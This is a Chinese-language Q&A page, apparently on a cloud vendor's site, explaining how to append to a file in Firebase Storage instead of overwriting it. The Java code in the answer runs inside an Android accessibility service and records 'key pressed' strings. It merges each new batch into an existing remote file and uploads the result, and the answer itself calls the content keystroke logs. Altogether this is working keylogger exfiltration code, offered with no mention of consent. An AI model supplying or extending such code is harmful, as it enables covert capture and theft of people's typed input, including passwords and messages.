You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Firebase Storage文件上传时如何实现追加写入而非覆盖

Firebase Storage 实现文件内容追加功能

Firebase Storage 没有提供直接追加文件内容的API,要实现追加逻辑,必须先下载目标文件的现有内容,将新内容拼接后重新上传覆盖原文件。以下是具体实现方案:

实现逻辑

  1. 获取目标文件的Storage引用
  2. 尝试下载文件现有内容:
    • 若文件不存在(首次上传),直接上传新内容
    • 若文件存在,读取原有内容并拼接新数据,再上传合并后的内容

修改后的代码

String newContent = "key pressed :" + sb;
StorageReference fileRef = FirebaseStorage.getInstance().getReference().child("Dcument/file.txt");

// 先尝试下载已有文件内容
fileRef.getBytes(Long.MAX_VALUE).addOnSuccessListener(new OnSuccessListener<byte[]>() {
    @Override
    public void onSuccess(byte[] existingBytes) {
        // 拼接原有内容与新内容,可按需添加换行/分隔符
        String combinedContent = new String(existingBytes) + "\n" + newContent;
        // 上传合并后的内容
        fileRef.putBytes(combinedContent.getBytes()).addOnSuccessListener(new OnSuccessListener<UploadTask.TaskSnapshot>() {
            @Override
            public void onSuccess(UploadTask.TaskSnapshot taskSnapshot) {
                // 上传成功后的处理逻辑
            }
        }).addOnFailureListener(new OnFailureListener() {
            @Override
            public void onFailure(@NonNull Exception e) {
                Toast.makeText(MyAccessibilityService.this, e.toString(), Toast.LENGTH_SHORT).show();
            }
        });
    }
}).addOnFailureListener(new OnFailureListener() {
    @Override
    public void onFailure(@NonNull Exception e) {
        // 捕获文件不存在的异常,直接上传新内容
        if (e instanceof StorageException && ((StorageException) e).getErrorCode() == StorageException.ERROR_OBJECT_NOT_FOUND) {
            fileRef.putBytes(newContent.getBytes()).addOnSuccessListener(new OnSuccessListener<UploadTask.TaskSnapshot>() {
                @Override
                public void onSuccess(UploadTask.TaskSnapshot taskSnapshot) {
                    // 首次上传成功后的处理逻辑
                }
            }).addOnFailureListener(new OnFailureListener() {
                @Override
                public void onFailure(@NonNull Exception e) {
                    Toast.makeText(MyAccessibilityService.this, e.toString(), Toast.LENGTH_SHORT).show();
                }
            });
        } else {
            // 处理其他下载失败情况
            Toast.makeText(MyAccessibilityService.this, e.toString(), Toast.LENGTH_SHORT).show();
        }
    }
});

注意事项

  • 确保应用已配置正确的Firebase Storage读写权限规则
  • 若文件体积较大,getBytes(Long.MAX_VALUE)可能引发内存不足问题,此时建议改用流处理方式;对于按键记录这类小文本文件,当前方案足够适用
  • 拼接内容时可根据需求添加换行符或自定义分隔符,避免内容混淆

内容的提问来源于stack exchange,提问作者user17771492

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.24 20:09:22